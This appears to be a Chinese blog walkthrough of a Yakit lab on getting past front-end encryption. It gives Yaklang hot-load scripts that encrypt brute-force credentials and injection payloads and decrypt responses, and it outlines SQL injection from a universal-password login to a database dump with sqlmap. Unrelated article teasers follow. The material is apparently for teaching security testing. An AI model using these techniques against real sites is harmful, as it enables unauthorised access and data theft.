}mirrorHTTPFlow = func(req,rsp, packet) {// 获取私钥以解密响应数据pem = packet.privatekey// 切割响应中的数据,作为 JSON 加载,body = json.loads(poc.GetHTTPPacketBody(rsp))_, body = poc.Split(rsp)body = json.loads(body)//获取data、encryptedIV、encryptedKey密文//data = body.data//Key = body.encryptedKey//IV = body.encryptedIV//RSA解密key和ivKey = codec.RSADecryptWithOAEP(pem /*type: []byte*/, codec.DecodeBase64(body.encryptedKey)~)~IV = codec.RSADecryptWithOAEP(pem /*type: []byte*/, codec.DecodeBase64(body.encryptedIV)~)~//AES解密datadata = codec.AESGCMDecryptWithNonceSize12(Key, codec.DecodeBase64(body.data)~, IV)~return string(data)
}
爆破:
十二、SQL 注入(从登陆到 Dump 数据库)
AES-CBC加密
响应包解密:
请求包解密:
万能密码进入
搜索处sql注入
获取加密后的明文热加载(固定key、iv)
encryptData = func(p) {//key+iv加密aes-cbckey = codec.DecodeHex("30a4140dbd062ad0d49b13e94a855b88")~iv = codec.DecodeHex("25c493424f449f469e18228a71b3f20c")~//用户名、密码username = ["admin"]password = ["admin"]//定义resultlist列表,将加密后的内容存放列表中resultlist =[]//for嵌套for uname in username {for passwd in password {//定义加密内容格式message = {"username":uname,"password":passwd}//将message以json格式dumps下来i = json.dumps(message)//aes加密result = codec.EncodeBase64(codec.AESCBCEncrypt(key /*type: []byte*/, i, iv /*type: []byte*/)~)resultlist.Append(result)}}return resultlist
}
//解密响应包内容
decryptData = func(packet) {body = poc.GetHTTPPacketBody(packet /*type: []byte*/)jsonbody = json.loads(body)key = codec.DecodeHex(jsonbody.key)~iv = codec.DecodeHex(jsonbody.iv)~message = codec.DecodeBase64(jsonbody.message)~message = codec.AESCBCDecrypt(key /*type: []byte*/, message, iv /*type: []byte*/)~return poc.ReplaceBody(packet, message, false)
}afterRequest = func(rsp){return decryptData(rsp)
}
获取加前密后的明文热加载
//加密
encryptData = func(packet) {body = poc.GetHTTPPacketBody(packet)//随机数、或固定值都可以//key = codec.DecodeHex("30a4140dbd062ad0d49b13e94a855b88")~//iv = codec.DecodeHex("25c493424f449f469e18228a71b3f20c")~key = randstr(16)iv = randstr(12)//加密message内容result = codec.EncodeBase64(codec.AESCBCEncrypt(key, body, iv)~)// 十六进制加密key、iv//hexkey = ["30a4140dbd062ad0d49b13e94a855b88"]//hexiv = ["25c493424f449f469e18228a71b3f20c"]hexkey = codec.EncodeToHex(key)hexiv = codec.EncodeToHex(iv)// 输出body内容body = f`{"key": "${hexkey}","iv": "${hexiv}","message": "${result}"}`return poc.ReplaceBody(packet, body, false)
}
//解密响应包内容
decryptData = func(packet) {body = poc.GetHTTPPacketBody(packet /*type: []byte*/)//json格式转化对象传入jsonbodyjsonbody = json.loads(body)//调用key、iv、messagekey = codec.DecodeHex(jsonbody.key)~iv = codec.DecodeHex(jsonbody.iv)~//解密message内容message = codec.AESCBCDecrypt(key /*type: []byte*/, codec.DecodeBase64(jsonbody.message)~, iv /*type: []byte*/)~return poc.ReplaceBody(packet, message, false)
}
beforeRequest = func(req){return encryptData(req)
}afterRequest = func(rsp){return decryptData(rsp)
}
注入:
联合查询
热加载爆破
encryptData = func(p) {//key+iv加密aes-cbc//或随机数key、iv循环key = codec.DecodeHex("30a4140dbd062ad0d49b13e94a855b88")~iv = codec.DecodeHex("25c493424f449f469e18228a71b3f20c")~//用户名、密码search = x"{{x(xpath-injection)}}"//定义resultlist列表,将加密后的内容存放列表中resultlist =[]//for循环for sea in search {//定义加密内容格式message = {"search":sea}//将message以json格式dumps下来i = json.dumps(message)//aes加密result = codec.EncodeBase64(codec.AESCBCEncrypt(key /*type: []byte*/, i, iv /*type: []byte*/)~)resultlist.Append(result)}return resultlist
}
//解密响应包内容
decryptData = func(packet) {body = poc.GetHTTPPacketBody(packet /*type: []byte*/)jsonbody = json.loads(body)key = codec.DecodeHex(jsonbody.key)~iv = codec.DecodeHex(jsonbody.iv)~message = codec.DecodeBase64(jsonbody.message)~message = codec.AESCBCDecrypt(key /*type: []byte*/, message, iv /*type: []byte*/)~return poc.ReplaceBody(packet, message, false)
}afterRequest = func(rsp){return decryptData(rsp)
}
sqlmap
将流量转发到yakit
–proxy=http://127.0.0.1:8081
将流量转发到yakit配合mitm热加载代码可实现响应明文输出
参考:
Yakit靶场-CVE柠檬
渗透测试高级技巧(二):对抗前端动态密钥与非对称加密防护
从前端验签与加解密学习Yakit中WebFuzzer热加载
相关文章:

yakit-靶场-高级前端加解密与验签实战(for嵌套纯享版)
高级前端加解密与验签实战 一、前端验证签名(验签)表单:HMAC-SHA256 使用hmac-sha256的十六进制key值可以加密 与页面加密后的值相同 热加载: encryptData func(p) { //sha256key值key codec.DecodeHex("313233343132333…...

洛谷 P1328 [NOIP2014 提高组] 生活大爆炸版石头剪刀布
题解: #include<iostream> #include<vector> //定义二维数组,直接标识不同出法相应对应关系 int mark[5][5]{{0,-1,1,1,-1},{1,0,-1,1,-1},{-1,1,0,-1,1},{-1,-1,1,0,1},{1,1,-1,-1,0}}; void JudgeScore(int A,int B,int& countA,int&…...

NLP论文速读(NeurIPS 2024)|BERT作为生成式上下文学习者BERTs are Generative In-Context Learners
论文速读|BERTs are Generative In-Context Learners 论文信息: 简介: 本文探讨了在自然语言处理(NLP)领域中,上下文学习(in-context learning)的能力,这通常与因果语言模型&#x…...

亚马逊云科技 | Amazon Nova:智能技术新势力
在2024年亚马逊云科技re:invent大会上,Amazon Nova 系列自研生成式 AI 多模态模型重磅登场,新一代的AI产品-Amazon Nova,隶属于 Amazon Bedrock,一共发布6款大模型,精准切入不同领域,解锁多元业务可能&…...

Kali 自动化换源脚本编写与使用
1. 背景与需求 在使用 Kali Linux 的过程中,软件源的配置对系统的更新与软件安装速度至关重要。 Kali 的默认官方源提供了安全且最新的软件包,但有时由于网络条件或地理位置的限制,使用官方源可能会出现速度较慢的问题。 为了解决这一问题&a…...

【已解决】PDF文档有密码怎么办(2024新)免费在线工具PDF2Go
强大的解密工具PDF2Go使用指南 一、PDF2Go简介 PDF2Go是由德国QaamGo公司开发的在线PDF工具箱,以其强大的功能和用户友好的界面而闻名。它不仅免费,而且不需要用户注册或安装任何软件,只需打开浏览器即可使用。 二、功能特点 1. 免费且无需…...

华为ensp-BGP联盟
学习新思想,争做新青年,今天学习BGP联盟 实验介绍 一个BGP联盟是一个具有内部层次结构的AS。一个BGP联盟由若干个子AS 组成,子AS也称为成员AS。对于一个BGP联盟,其成员AS内部的各路由器之间需要建立全互联的IBGP邻居关系或使用B…...

ArcGIS中怎么进行水文分析?(思路介绍)
最近有人咨询,ArcGIS中怎么进行水文分析,大致的说一下河网提取的思路哈 解决思路:dem填洼→计算水流方向→计算水流累积矩阵→形成河网 dem填洼 计算水流方向 计算水流累积矩阵 用栅格计算器,设阈值(自己多次尝试&…...

LabVIEW中实现多个Subpanel独立调用同一个VI
在LabVIEW中,如果需要通过多个Subpanel同时调用同一个VI并让这些VI实例独立运行,可以通过以下方法实现: 1. 问题背景 LabVIEW默认的VI是以单实例方式运行的。当将同一个VI加载到多个Subpanel时,会因为共享同一内存空间而导致冲突…...
【SpringMVC】Bean 加载控制
在实际开发中,SpringMVC 负责扫描和加载 Controller 层的 Bean 对象,而业务层和数据层等其他模块的 Bean 则由 Spring 框架负责扫描和加载。那么,如何控制 Spring 仅加载除了 Controller 层之外的其他 Bean 呢?为了解决这个问题&a…...
Socket编程中关于服务器端监听端口与新连接端口的深入剖析
Socket编程中关于服务器端监听端口与新连接端口的深入剖析 在Socket编程领域,存在一个容易让初学者感到困惑的问题。尽管很多人在网络上进行了相关探讨,但不少解释要么不够清晰明了,要么太过肤浅,未能深入到问题的核心࿰…...
如何通过HTTP API更新Doc
本文介绍如何通过HTTP API更新Collection中已存在的Doc。 说明 若更新Doc时指定id不存在,则本次更新Doc操作无效 如只更新部分属性fields,其他未更新属性fields默认被置为null 前提条件 已创建Cluster:创建Cluster。 已获得API-KEY&#…...

Qt5 中 QGroupBox 标题下沉问题解决
我们设置了QGroupBox 样式之后,发现标题下沉了,那么如何解决呢? QGroupBox {font: 12pt "微软雅黑";color:white;border:1px solid white;border-radius:6px; } 解决后的效果 下面是解决方法: QGroupBox {font: 12pt "微软雅黑";color:white;bo…...

[OpenGL]使用glsl实现smallpt
一、简介 本文介绍了如何使用 OpenGL,使用 glsl 语言在 Fragment shader 中实现 smallpt。程序完成后可以得到以下渲染结果(samples per pixel, spp 16)。在程序中按下A,W可以左右平移,按下W,S可以前后平移: 二、s…...

elementui的默认样式修改
今天用element ui ,做了个消息提示,发现提示的位置总是在上面,如图: 可是我想让提示的位置到下面来,该怎么办? 最后还是看了官方的api 原来有个自定义样式属性 customClass 设置下就好了 js代码 css代码…...

mysql的主从配置
#mysql数据库 #主从 MySQL数据库主从配置 1.MySQL主从介绍 MySQL 主从又叫做 Replication、AB 复制。简单讲就是 A 和 B 两台机器做主 从后,在 A 上写数据,另外一台 B 也会跟着写数据,两者数据实时同步的。 MySQL 主从是基于 binlog 的&…...

CPO-CNN-GRU-Attention、CNN-GRU-Attention、CPO-CNN-GRU、CNN-GRU四模型多变量时序预测对比
CPO-CNN-GRU-Attention、CNN-GRU-Attention、CPO-CNN-GRU、CNN-GRU四模型多变量时序预测对比 目录 CPO-CNN-GRU-Attention、CNN-GRU-Attention、CPO-CNN-GRU、CNN-GRU四模型多变量时序预测对比预测效果基本介绍程序设计参考资料 预测效果 基本介绍 基于CPO-CNN-GRU-Attention、…...
深入了解PINN:物理信息神经网络(Physics-Informed Neural Networks)
1. 什么是PINN(物理信息神经网络)? 物理信息神经网络(PINN,Physics-Informed Neural Networks)是一类通过结合神经网络和物理方程的深度学习方法。其主要特点是将物理系统的约束条件(如偏微分方…...
人形机器人全身运动规划相关资料与文章
1.HumanPlus: Humanoid Shadowing and Imitation from Humans 文章地址:[2406.10454] HumanPlus: Humanoid Shadowing and Imitation from Humans 代码地址:MarkFzp/humanplus: [CoRL 2024] HumanPlus: Humanoid Shadowing and Imitation from Humans …...

使用uWSGI将Flask应用部署到生产环境
使用uWSGI将Flask应用部署到生产环境: 1、安装uWSGI conda install -c conda-forge uwsgi(pip install uwsgi会报错) 2、配置uWSGI 在python程序的同一文件夹下创建 uwsgi.ini文件,文件内容如下表。 需要按照实际情况修改文件名称…...

wordpress后台更新后 前端没变化的解决方法
使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…...

Spark 之 入门讲解详细版(1)
1、简介 1.1 Spark简介 Spark是加州大学伯克利分校AMP实验室(Algorithms, Machines, and People Lab)开发通用内存并行计算框架。Spark在2013年6月进入Apache成为孵化项目,8个月后成为Apache顶级项目,速度之快足见过人之处&…...

Swift 协议扩展精进之路:解决 CoreData 托管实体子类的类型不匹配问题(下)
概述 在 Swift 开发语言中,各位秃头小码农们可以充分利用语法本身所带来的便利去劈荆斩棘。我们还可以恣意利用泛型、协议关联类型和协议扩展来进一步简化和优化我们复杂的代码需求。 不过,在涉及到多个子类派生于基类进行多态模拟的场景下,…...
java调用dll出现unsatisfiedLinkError以及JNA和JNI的区别
UnsatisfiedLinkError 在对接硬件设备中,我们会遇到使用 java 调用 dll文件 的情况,此时大概率出现UnsatisfiedLinkError链接错误,原因可能有如下几种 类名错误包名错误方法名参数错误使用 JNI 协议调用,结果 dll 未实现 JNI 协…...

2021-03-15 iview一些问题
1.iview 在使用tree组件时,发现没有set类的方法,只有get,那么要改变tree值,只能遍历treeData,递归修改treeData的checked,发现无法更改,原因在于check模式下,子元素的勾选状态跟父节…...

学习STC51单片机31(芯片为STC89C52RCRC)OLED显示屏1
每日一言 生活的美好,总是藏在那些你咬牙坚持的日子里。 硬件:OLED 以后要用到OLED的时候找到这个文件 OLED的设备地址 SSD1306"SSD" 是品牌缩写,"1306" 是产品编号。 驱动 OLED 屏幕的 IIC 总线数据传输格式 示意图 …...
JVM暂停(Stop-The-World,STW)的原因分类及对应排查方案
JVM暂停(Stop-The-World,STW)的完整原因分类及对应排查方案,结合JVM运行机制和常见故障场景整理而成: 一、GC相关暂停 1. 安全点(Safepoint)阻塞 现象:JVM暂停但无GC日志,日志显示No GCs detected。原因:JVM等待所有线程进入安全点(如…...

html-<abbr> 缩写或首字母缩略词
定义与作用 <abbr> 标签用于表示缩写或首字母缩略词,它可以帮助用户更好地理解缩写的含义,尤其是对于那些不熟悉该缩写的用户。 title 属性的内容提供了缩写的详细说明。当用户将鼠标悬停在缩写上时,会显示一个提示框。 示例&#x…...

论文笔记——相干体技术在裂缝预测中的应用研究
目录 相关地震知识补充地震数据的认识地震几何属性 相干体算法定义基本原理第一代相干体技术:基于互相关的相干体技术(Correlation)第二代相干体技术:基于相似的相干体技术(Semblance)基于多道相似的相干体…...

C++:多态机制详解
目录 一. 多态的概念 1.静态多态(编译时多态) 二.动态多态的定义及实现 1.多态的构成条件 2.虚函数 3.虚函数的重写/覆盖 4.虚函数重写的一些其他问题 1).协变 2).析构函数的重写 5.override 和 final关键字 1&#…...